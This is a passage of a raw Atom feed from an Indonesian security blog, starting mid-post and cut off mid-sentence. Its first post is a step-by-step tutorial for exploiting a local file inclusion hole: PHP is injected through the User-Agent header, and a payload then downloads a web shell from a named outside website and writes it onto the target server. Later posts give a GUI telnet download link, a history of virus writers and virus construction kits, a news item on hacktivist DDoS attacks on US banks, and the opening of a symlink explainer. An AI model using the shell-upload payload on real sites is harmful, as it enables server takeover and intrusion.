&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjR5ozTxwjoWnMD9UKpjS6fZxkS0ZLALIk65G1wLGb8cIW9CgHgld5d4AI2xMGRq4kCz01FXDKznC0fb99tKG-lyen7JlZrYDpd1rv89cxKdwsjqbyQp83LfRsXkOafrgiK17vJwWtCM5o/s1600/lfi1.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;80&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjR5ozTxwjoWnMD9UKpjS6fZxkS0ZLALIk65G1wLGb8cIW9CgHgld5d4AI2xMGRq4kCz01FXDKznC0fb99tKG-lyen7JlZrYDpd1rv89cxKdwsjqbyQp83LfRsXkOafrgiK17vJwWtCM5o/s400/lfi1.JPG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt; &lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
setelah ketemu... buka addons &quot;Live HTTP Header&quot; centang capture kemudian reload halaman tadi...&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
kemudian klik HTTP Header lalu klik replay... pada bagian user agent ganti dengan script php &amp;lt;? echo&quot;hallllo....!&quot; ?&amp;gt; untuk mengetes apakah bisa mengeksekusi perintah php... kemudian klik replay...&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2KkjTZI5KXjmy7k-uss4lXaV-haJ9aTXkumWM8ztA0dD2aklbTJmHfYOG5afU71DmSl-v2gC-6q1DQcD-BSmL633JQEqasqzIRKZUpl_CtV5m5QYApVbsB49Tcivectsgs6HTmxfm2Gk/s1600/lfi3.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;106&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2KkjTZI5KXjmy7k-uss4lXaV-haJ9aTXkumWM8ztA0dD2aklbTJmHfYOG5afU71DmSl-v2gC-6q1DQcD-BSmL633JQEqasqzIRKZUpl_CtV5m5QYApVbsB49Tcivectsgs6HTmxfm2Gk/s400/lfi3.JPG&quot; width=&quot;400&quot; /&gt;&amp;nbsp;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Lihat pada bagian HTTP_USER_AGENT terdapat string &quot;hallllo....!&quot; yang berarti script kita tadi ter eksekusi... sekarang kita tinggal ulangi langkah2 di atas tapi php scriptnya kita ganti seperti ini...&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&amp;lt;?php $file = fopen(&quot;shell.php&quot;,&quot;w+&quot;); $stream = fopen (&quot;http://www.iidaharju.com/wp-content/plugins/akismet/tet.txt&quot;, &quot;r&quot;); while(!feof($stream)) {&amp;nbsp; $shell .=fgets($stream); } fwrite($file, $shell); fclose($file);?&amp;gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4tx0DOxbz1NdZ_jYY-lyGQ7uhtfiTnH8kcup2CeF2P4L-uevobaQIqVXLNq3XOHOIsTxUfXSokd_GXwHJeQ11vpHG7iDUighhNhFS9UwEz2eGm0G9XHKNkE-pHl1GFjOmr_3cxPqrHaU/s1600/lfi2.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4tx0DOxbz1NdZ_jYY-lyGQ7uhtfiTnH8kcup2CeF2P4L-uevobaQIqVXLNq3XOHOIsTxUfXSokd_GXwHJeQ11vpHG7iDUighhNhFS9UwEz2eGm0G9XHKNkE-pHl1GFjOmr_3cxPqrHaU/s320/lfi2.JPG&quot; width=&quot;320&quot; /&gt;&amp;nbsp;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
script di atas untuk membuat file shell.php yang isinya saya ambil dari sini &lt;a href=&quot;http://www.iidaharju.com/wp-content/plugins/akismet/tet.txt&quot;&gt;http://www.iidaharju.com/wp-content/plugins/akismet/tet.txt&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiq0dsheV56duyatdDp3leUERdGZugRwPiN2YhsIbs3IvPzpFSlA4Zwu0L3B7LgOtSC1bLuk-aLyADf-VA5Q3mmyTAsVkcGlrfAA7rqdIeJlN0FxLHmWA1Ic9zGFx6eZfzKsq5vX0ZR2RQ/s1600/lfi4.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
kemudian klik reply... lalu buka shell.php di tempat yang sama dengan filetarget yang vuln dengan LFI tadi dan TARRA.... shell telah terupload... ^_^&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiq0dsheV56duyatdDp3leUERdGZugRwPiN2YhsIbs3IvPzpFSlA4Zwu0L3B7LgOtSC1bLuk-aLyADf-VA5Q3mmyTAsVkcGlrfAA7rqdIeJlN0FxLHmWA1Ic9zGFx6eZfzKsq5vX0ZR2RQ/s1600/lfi4.JPG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiq0dsheV56duyatdDp3leUERdGZugRwPiN2YhsIbs3IvPzpFSlA4Zwu0L3B7LgOtSC1bLuk-aLyADf-VA5Q3mmyTAsVkcGlrfAA7rqdIeJlN0FxLHmWA1Ic9zGFx6eZfzKsq5vX0ZR2RQ/s400/lfi4.JPG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;i&gt;&lt;cite&gt;&lt;br /&gt;&lt;/cite&gt;&lt;/i&gt;</content><link rel='replies' type='application/atom+xml' href='http://ayrbyte.blogspot.com/feeds/7445076292706579732/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ayrbyte.blogspot.com/2013/02/upload-shell-lewat-celah-lfi.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/7445076292706579732'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/7445076292706579732'/><link rel='alternate' type='text/html' href='http://ayrbyte.blogspot.com/2013/02/upload-shell-lewat-celah-lfi.html' title='Upload Shell Lewat Celah LFI'/><author><name>Ayrbyte</name><uri>http://www.blogger.com/profile/13588330961721133792</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjR5ozTxwjoWnMD9UKpjS6fZxkS0ZLALIk65G1wLGb8cIW9CgHgld5d4AI2xMGRq4kCz01FXDKznC0fb99tKG-lyen7JlZrYDpd1rv89cxKdwsjqbyQp83LfRsXkOafrgiK17vJwWtCM5o/s72-c/lfi1.JPG" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8690548132506909115.post-2338087984805050254</id><published>2013-02-02T01:41:00.001-08:00</published><updated>2013-03-28T23:08:22.413-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="programming"/><category scheme="http://www.blogger.com/atom/ns#" term="tool"/><title type='text'>Download Telnet Versi GUI</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgc3dZriyjYwbP2SmC-PcJtdq0POn8Qs0ls3UGM8fhSYHh2cO5v20y09wjNRjHmEZc3_K1DO-jsdMT1P0IaFYy0MD4A1vU-pOyx5JJp208fb7xskkxgIGCDhSANJhnQjotZCYVkypWdwAI/s1600/gui_telnet.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgc3dZriyjYwbP2SmC-PcJtdq0POn8Qs0ls3UGM8fhSYHh2cO5v20y09wjNRjHmEZc3_K1DO-jsdMT1P0IaFYy0MD4A1vU-pOyx5JJp208fb7xskkxgIGCDhSANJhnQjotZCYVkypWdwAI/s1600/gui_telnet.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Download Telnet Versi GUI &lt;a href=&quot;https://www.facebook.com/download/151662398321887/Gui_Telnet.rar&quot; target=&quot;_blank&quot;&gt;https://www.facebook.com/download/151662398321887/Gui_Telnet.rar&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://ayrbyte.blogspot.com/feeds/2338087984805050254/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ayrbyte.blogspot.com/2013/02/download-telnet-versi-gui.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/2338087984805050254'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/2338087984805050254'/><link rel='alternate' type='text/html' href='http://ayrbyte.blogspot.com/2013/02/download-telnet-versi-gui.html' title='Download Telnet Versi GUI'/><author><name>Ayrbyte</name><uri>http://www.blogger.com/profile/13588330961721133792</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgc3dZriyjYwbP2SmC-PcJtdq0POn8Qs0ls3UGM8fhSYHh2cO5v20y09wjNRjHmEZc3_K1DO-jsdMT1P0IaFYy0MD4A1vU-pOyx5JJp208fb7xskkxgIGCDhSANJhnQjotZCYVkypWdwAI/s72-c/gui_telnet.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8690548132506909115.post-1729606954383204321</id><published>2013-01-29T23:21:00.002-08:00</published><updated>2013-03-28T23:10:25.330-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="bacaan"/><title type='text'>Sejarah Virus Komputer</title><content type='html'>Sejarah Virus Komputer&lt;br /&gt;
&lt;br /&gt;
&quot;A program that can infect other programs by modifying them to include a slighty altered copy of itself. A virus can spread throughout a computer sistem or network using the authorization of every user using it to infect their programs. Every programs that gets infected can also act as a virus that infection grows&quot;(Fred Cohen)&lt;br /&gt;
&lt;br /&gt;
Pertama kali istilah &quot;virus&quot; digunakan oleh Fred Cohen pada tahun 1984 di Amerika Serikat. Dinamakan &quot;Virus&quot; arena memiliki beberapa persamaan mendasar dengan virus dalam dunia kedokteran (biological virus).&lt;br /&gt;
&lt;br /&gt;
awalnya adalah suatu jenis permainan/game. Mereka membuat program yang dapat memperbanyak dirinya dan dapat menghancurkan program buatan lawan. Program yang mampu bertahan dan menghancurkan semua program lain akan di anggap sebagai pemenangnya. Permainan tersebut akhirnya menjadi permainan favorit tiap2 lab komputer. Akan tetapi, semakin lama program di ciptakan semakin berbahaya sehingga mereka melakukan pengawasan dan pengamanan yang ketat terhadap permainan tersebut. Pada tahun 1980, program2 yang akhirnya di kenal sebagai &quot;virus&quot; telah menyebar ke luar lingkungan laboratorium dan mulai beredar di masyarakat umum. &lt;br /&gt;
&lt;br /&gt;
Mengapa program tersebut dinamakan virus komputer? Sebenarnya, istilah virus komputer diambil dari istilah biologi, yaitu suatu microorganisme yang memperbanyak dirinya sendiri dengan cara menularkan dirinya kepada organisme lain. Istilah &quot;Virus&quot; diambil di karenakannya adanya kemiripan antara penyebaran program virus ke dalam program2 lain dan mekanisme penyebaran virus biologis ke dalam sel2 makhluk hidup. &lt;br /&gt;
&lt;br /&gt;
Yang menjadi masalah, kenapa para programmer berlomba2 untuk menciptakan virus...? berbeda dengan virus secara Biologi yang terjadi dengan sendirinya, virus komputer mulanya diciptakan hanya sebagai suatu proyek penelitian dari para programmer. Sesuai perkembangan jaman, lama-kelamaan tujuannya beralih kepada hal2 yang bersifat negatif, yaitu digunakan untuk tujuan mengungguli orang lain. Biasanya, para programer yang sanggup membuat virus adalah yang terbaik, dengan kata lain sebagai ukuran apakah orang itu ahli di dalam bidang komputer atau tidak, ada juga yang membuatnya dengan tujuan ngerusak/ngejailin orang lain, akan tetapi ada juga yang sekedar sebagai hobi. Ada virus yang di sebut sebagai &quot;virus baik&quot;. dikatakan demikian karena memang bersifat baik, menginfeksi komputer dengan tujuan mempatch system / menghapus virus lain yang bersifat merusak, Namun, perbedaan yang mendasar dengan program lain adalah virus dibuat untuk menulari program2 lainnya, mengubah, memanipulasinya, bahkan sampai merusaknya. Ada yang perlu dicatat di sini bahwa virus hanya akan menulari apabila pemicunya sudah di eksekusi, disinilah di bedakan antara &quot;virus&quot; dengan &quot;worm&quot;.&lt;br /&gt;
&lt;br /&gt;
pasti anda pernah bertanya dalam diri sendiri, kenapa komputer saya terkena virus...? sebenarnya, kebanyakan virus menyebar/menginfeksi komputer anda melalui perantara, seperti lewat storrage external. Contohnya, flasdisk yang anda masukkan sudah terinfeksi virus dan anda mengcopykan file yang ada pada flasdisk tersebut ke dalam komputer dan meng eksekusinya, karena ketidak tahuan ini komputer yang tadinya tidak terinfeksi virus sekarang jadi tertular. Namun, semua itu tergantung dari karakteristik virus tersebut. Ada yang langsung menginfeksi ketika flasdisk di dibuka, ada yang menunggu program yang terinfeksi di eksekusi, dan ada juga yang tergantung dengan waktu, Selain lewat media penyimpanan, ada juga yang memanfaatkan fasilitas email di bagian file attachments. Ada beberapa virus yang pada waktu di scan menggunakan program antivirus tidak terdeteksi, Kenapa bisa gagal mendeteksi...?&lt;br /&gt;
&lt;br /&gt;
Sama seperti virus biologi, virus komputer adalah program yang dapat membelah diri dengan sendirinya yang dapat menyebar dengan cara mengcopy atau meperbanyak diri ke program aplikasi atau dokumen pada umumnya. Selain itu, virus juga dapat menginfeksi registry maupun mengatur penjadwalan untuk berkembang biak. Secara analogi, process masuknya virus ke dalam program dinamakan &#39;Infeksi&#39; dan infeksi pada file(atau kode EXE yang bukan bagian dari file) dinamakan &#39;host&#39;. Virus adalah satu dari beberapa software jahat atau &quot;malware&quot;. Dalam bahasa biasa, istilah virus sering di samakan dengan worms, trojan, dan lainnya. Sebagian virus yang menyebapkan proses komputer menjadi lambat bisa disebut sebagai &#39;BOM&#39;. Sebagai contoh, virus memungkinkan anda utnuk menampilkan pesan dalam kurun waktu tertentu atau menunggu sampai virus tersebut menginfeksi beberapa host (dalam jaringan). &#39;Bom Waktu&#39; terjadi dalam selang waktu tertentu dan &#39;Bom Logic&#39; terjadi ketika pengguna komputer mengambil program yang merupakan alat picu bom.&lt;br /&gt;
&lt;br /&gt;
Sebenarnya, Virus komputer tersebut tidak berkembang dengan sendirinya. Di balik perkembangan virus komputer ternyata ada banyak orang yang mempelopori perkembangannya, mereka yang mengembangkan teknik2 baru dalam pemrograman virus komputer, maupun trik2 pemrograman virus tersebut.&lt;br /&gt;
&lt;br /&gt;
Mereka yang mengembangkan virus komputer antara lain :&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;a. Fred Cohen&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Dimulainya abad perang virus komputer dunia, yaitu sekitar tahun 1980-an, bermula atas pemaparan Fred Cohen, seorang peneliti dan assisten professor di universitas cicinati, ohio. dalam pemaparannya, fred juga mendemonstrasikan sebuah program ciptaannya. Suatu virus yang dapat menyebar secara cepat pada sejumlah komputer.&lt;br /&gt;
&lt;br /&gt;
Banyak di antara para ahli yang menyalahkan kehadiran fred tersebut, tetapi banyak juga yang menyatakan bahwa sebenarnya virus telah ada jauh sebelumnya walaupun tidak di ketahui kehadirannya.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;b. Mark Ludwig&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Sekitar tahun 1988, Mark Ludwig, yaitu seorang lulusan MIT dengan gelar PhD, mengenal sebuah program yang berjangkit dan beroprasi tak terkendali di dalam komputer yang menjadi mata pencarianynya. Mark Ludwig berpendapat bahwa program itu (virus) memiliki ciri khas seperti makhluk hidup, dan menganggapnya sebgai suatu misteri alam. Mark Ludwig berusaha mengungkap rahasia alam tersebut. Awal dari usahanya untuk mendapatkan contoh virus untuk di teliti sangat sulit. Usaha Ludwig untuk mendakati perusahaan antivirus guna mengakses koleksi virus mereka gagal. Akhirnya, Ludwig memutuskan untuk bekerja sendiri.&lt;br /&gt;
&lt;br /&gt;
ia mendirikan BBS dan memberi imbalan US$25 untuk setiap virus yang terupload. upaya itu membuahkan hasil, dan berakhir dengan lahirnya buku tulisan sendiri, &quot;The Little Black Boo Of Virus&quot;, buku tersebut banyak mendapat kecaman publik, tetapi Ludwig tetap meneruskan penelitiannya kembali dan kembali menerbitkan bukunya &quot;The Little Black Boo Of Virus: The Aforemtioned Computer Virus, Artifical Life, and Evolution&quot;, yang di terbitkan tahun 1993. Mark Ludwig juga menciptakan sebuah program &quot;Darwin Genetic Mutation Engine&quot;, yaitu sebuah program bantu yang mengubah virus DOS apa saja menjadi sangat canggih karena memiliki kemampuan untuk imunisasi dan bermutasi sehingga tidak terdeteksi antivirus.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;c. Tom Ray&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Tom Ray adalah seorang Ekologis Universitas Delaware, dan menuntut ilmu di Advanced Telecommunication Research Institute International di Kyoto, Jepang. Ia menghilang dari hadapan publik, memasuki hutan belantara costa rica untuk melakukan penelitian. Setelah 2 tahun melakukan penelitian, pada tahun 1989 Ray melakukan pekerjaan penting dalam hidupnya, yaitu penelitian yang mengubah kariernya. Ia menciptakan Virus Komputer, persisnya meciptakan WORM, sebuah istilah program komputer yang dapat memperbanyak dan mengeksekusi dirinya tanpa bergantung pada program induk yang di tumpangi. Dalam Melakukan penelitian terhadap virusnya ray menciptakan sebuah lingkungan digital pada labnya, yang di namakan &quot;Tierra&quot; (Bahasa spanyol uttuk bumi), dan mulai menciptakan penghuninya yang di namakan &quot;The Ancestor&quot;. Makhluq itu adalah worm pertama yang di ciptakan ray yang berupa kode bahasa mesin berukuran 80 byte dengan kemampuan memperbanyak di rinya sendiri. Saat di lepas dalam lingkungan Tierra, makluk itu segera menyebar dengan cepat dalam satuan menit saja, dan telah menghasilkan varian baru yang hanya berukuran 79 byte, lebih kecil dari pada pendahulunya. Setelah beberapa lama ray menemukan banyak varian baru keturunan &quot;The ancestor&quot;, yaitu berukuran lebih kecil, 45,51 bahkan 22 byte. mahluk berukuran 45-51 tersebut bukan lagi worm. mereka sudah berbentuk virus parasit yang memanfaatkan kode2 produksi dari program lain yang lebih besar. Pada tahun 1994, ray memiliki ide baru untuk melepaskan Worm ciptaannya ke dalam global network, yang dituangkan ke dalam sebuah dokumen yang berjudul &quot;A Proposal To Create a Network-Wide Biodiversity Reserve for Digital Organism&quot;, yang berisikan penjabaran untuk mempercepat Evolusi di dalam Tierra.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;d. HellRaiser&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Seorang pembuat virus Komputer berumur sekitar 20 tahunan di ketahui hidup dari cek pengangguran dan tinggal di kawasan pemukiman pekerja kulit putih di kawasan new york. Ia cenderung menghabiskan waktunya di arena video game setempat. Namun, tidak ada satupun orang yang mengetahui nama aslinya. Satu2 nya keahliannya tercermin dari julukannya yang sudah di kenal luas dalam dunia komputer bawah tanah, HellRaiser.&lt;br /&gt;
&lt;br /&gt;
HellRaiser adalah pendiri kelompok pembuat virus dunia bernama Phalkon/Skism. Ia juga pencipta 40Hex, sebuah tipe pemrograman virus yang di anggap brilian, suatu program virus siap pakai. HellRaiser menganggap virus adalah suatu bentuk grafity elektronis. Hal itu tidaklah mengherankan karena pada masa mudanya HellRaiser bekerja sebagai seorang tenaga ahli bidang grafity di new york. Pertama kali HellRaiser mendalami pembuatan virus komputer adalah dengan cara mendapatkan kode2 virus yang bernama &quot;Virus-Exchange&quot;. Namun, kurangnya dana untuk masuk ke dalam virus exchange membuatnya melakukan manufer alternatif dengan meneliti dan mempelajari contoh virus jarusalem yang menginfeksi komputernya. Setelah pengamatan dan penelitian selama berminggu2, lahirlah virus pertamanya yang bernama &quot;SKISM-1&quot;. Namun, HellRaiser belum merasa puas karena virusnya itu hanyalah hasil modifikasi dari virus jarusalem sehingga ia kembali mempelajari dan mendalami bahasa assembly DOS, dan mulai mengenalkan virusnya serta menyebarkan tekniknya ke kalangan Underground New York melalui layar BBS Hack/Phreak, dan berkomunikasi dengan pembuat virus lainnya yang tergabung dalam kelompok Legions Of Dooms, MOD, dan Chaos Club. Kemudian,HellRaiser mulai mendirikan grubnya sendiri yang bernama SKISM (Smart Kids Into Sick Method) yang bertujuan untuk memperdalam keahlian para anggotanya dalam mebuat virus. Grub itu mulai menyebarkan virus 40Hex buatannya ke Virus Exchange. Teknik 40Hex diperkenalkan pada bulan Mei 1991.&lt;br /&gt;
&lt;br /&gt;
Setelah beberapa tahun, SKISM mulai bergabung dengan kelompok lain di New York, PHALCON, dan membentuk super grub Phalcon/Skism. juga telah bergabung beberapa kelompok lain seperti NUKE(Koalisi antara Kanada,Australia,Swiss,Taiwan) dan muncul grub2 lain seperti Trident dari eropa dan kelompok Zines, Setelah itu, perkembangan Virus Komputer Semakin meluas di dunia.&lt;br /&gt;
&lt;br /&gt;
Sehabis masa2 pelopor pembuat virus komputer tersebut, baru bermunculan pembuat virus dari berbagai negara. Indonesia termasuk salah satunya. Teknologi pembuatan virus komputer semakin berkembang dikarenakan banyak virus yang di modifikasi dengan teknologi baru demi menghindari scanning AntiVirus. banyak program2 generator untuk virus yang disebarkan secara luas, yang dapat membuat virus instan/virus yang langsung jadi, tanpa pembuatnya mengerti tentang assembly, contohnya &quot;virus creation laboratory&quot; (VCL) yang di buat oleh Nohware Man, salah seorang anggota NUKE, &quot;Phalcon/Mass Production Code Generator&quot; (PS-MPC) dari Phalcon/Skism, &quot;Instant Virus Production Kit&quot; (IVP) dari Admiral Baily, seorang anggota YAM (Youngster Against McAfee), dan lain sebagainya, yang turut mengembangkan dan memperluas perkembangan virus komputer dunia.&lt;br /&gt;
&lt;br /&gt;
source: book &quot;the art of ASSEMBLY LANGUAGE: konsep dan aplikasi bahasa assembly&quot; by Tintin Chandra</content><link rel='replies' type='application/atom+xml' href='http://ayrbyte.blogspot.com/feeds/1729606954383204321/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ayrbyte.blogspot.com/2013/01/sejarah-virus-komputer_29.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/1729606954383204321'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/1729606954383204321'/><link rel='alternate' type='text/html' href='http://ayrbyte.blogspot.com/2013/01/sejarah-virus-komputer_29.html' title='Sejarah Virus Komputer'/><author><name>Ayrbyte</name><uri>http://www.blogger.com/profile/13588330961721133792</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8690548132506909115.post-1964747949560106711</id><published>2012-10-09T02:44:00.003-07:00</published><updated>2013-03-28T23:08:03.938-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="bacaan"/><title type='text'>Hacktivists use new tactic to take down websites</title><content type='html'>Unfortunately, there are still some out there that do not have quality &lt;a class=&quot;dnautolink&quot; href=&quot;http://www.faronics.com/enterprise/anti-executable/&quot;&gt;application control&lt;/a&gt;
 software in place to protect themselves from the full range of attacks 
they may face. However, a new style of cyber attack has the potential to
 stymie even the highest quality layered security system.&lt;br /&gt;
Distributed denial-of-service attacks (DDoS) have been around for 
over a decade, and are an easy way for hacktivists and cybercriminals to
 temporarily take down a website. In a DDoS attack, hackers use servers 
to send lots of fake connection requests to a website. Since each 
connection is a dupe, the hosting server cannot find the computer and 
thus spends time continually looking for an endpoint. This overwhelms 
the hosting server, which can degrade website performance or even take 
it offline entirely, according to &lt;a href=&quot;http://news.cnet.com/2100-1017-236728.html&quot; target=&quot;_blank&quot;&gt;CNET&lt;/a&gt;.&lt;br /&gt;
However, &lt;a href=&quot;http://www.csoonline.com/article/717358/hacktivists-strike-u.s.-bank-with-volunteer-powered-ddos&quot; target=&quot;_blank&quot;&gt;CSO&lt;/a&gt;
 reported that cyber security experts have become much better at 
targeting and taking down DDoS attacks. That’s because in the past many 
attacks came through a number of infected servers known as a botnet. 
Once the servers were detected, they could be taken offline, thus ending
 the threat.&lt;br /&gt;
&lt;b&gt;A new breed of DDoS emerges&lt;/b&gt;&lt;br /&gt;
A hacktivist group recently found a way to launch a DDoS attack without 
the need for a botnet, taking the websites of five major U.S.-based 
banks offline as a result in the past few weeks. Instead of using a 
central hub, the Izz ad-Din al-Qassam Cyber Fighters have targeted 
websites using a more scattered approach that is more difficult to 
detect, CSO reported.&lt;br /&gt;
The group on recruits who are instructed to download a program 
available at two different peer-to-peer file sharing websites. Once the 
program is on a machine, users can start the program with just one click
 and then continuously send fraudulent server requests. While it is 
relatively easy to detect a botnet, it is much more difficult for 
websites to determine a genuine connection request versus one sent via 
this program since, to the host server, both look like commands coming 
from ordinary home networks, according to CSO.&lt;br /&gt;
Using this DDoS method, the group has temporarily taken down the 
websites of Bank of America, Wells Fargo, JPMorgan Chase, Citigroup and 
U.S. Bank. The group says it is targeting the banks in retaliation for a
 YouTube video that mocks the Islamic faith.&lt;br /&gt;
&lt;br /&gt;
Source : http://www.faronics.com/2012/hacktivists-use-new-tactic-to-take-down-websites/ </content><link rel='replies' type='application/atom+xml' href='http://ayrbyte.blogspot.com/feeds/1964747949560106711/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ayrbyte.blogspot.com/2012/10/hacktivists-use-new-tactic-to-take-down.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/1964747949560106711'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/1964747949560106711'/><link rel='alternate' type='text/html' href='http://ayrbyte.blogspot.com/2012/10/hacktivists-use-new-tactic-to-take-down.html' title='Hacktivists use new tactic to take down websites'/><author><name>Ayrbyte</name><uri>http://www.blogger.com/profile/13588330961721133792</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8690548132506909115.post-9212814062147340812</id><published>2012-09-16T21:57:00.001-07:00</published><updated>2013-03-28T23:07:39.302-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="bacaan"/><title type='text'>Sekilas Tentang Symlink</title><content type='html'>&lt;b&gt;Tautan simbolis&lt;/b&gt; (bahasa Inggris: &lt;i&gt;&lt;b&gt;Symbolic link&lt;/b&gt;&lt;/i&gt;, sering disingkat menjadi &lt;i&gt;&lt;b&gt;Symlink&lt;/b&gt;&lt;/i&gt; atau sering juga dikenal sebagai &lt;i&gt;&lt;b&gt;soft link&lt;/b&gt;&lt;/i&gt;), dalam &lt;a 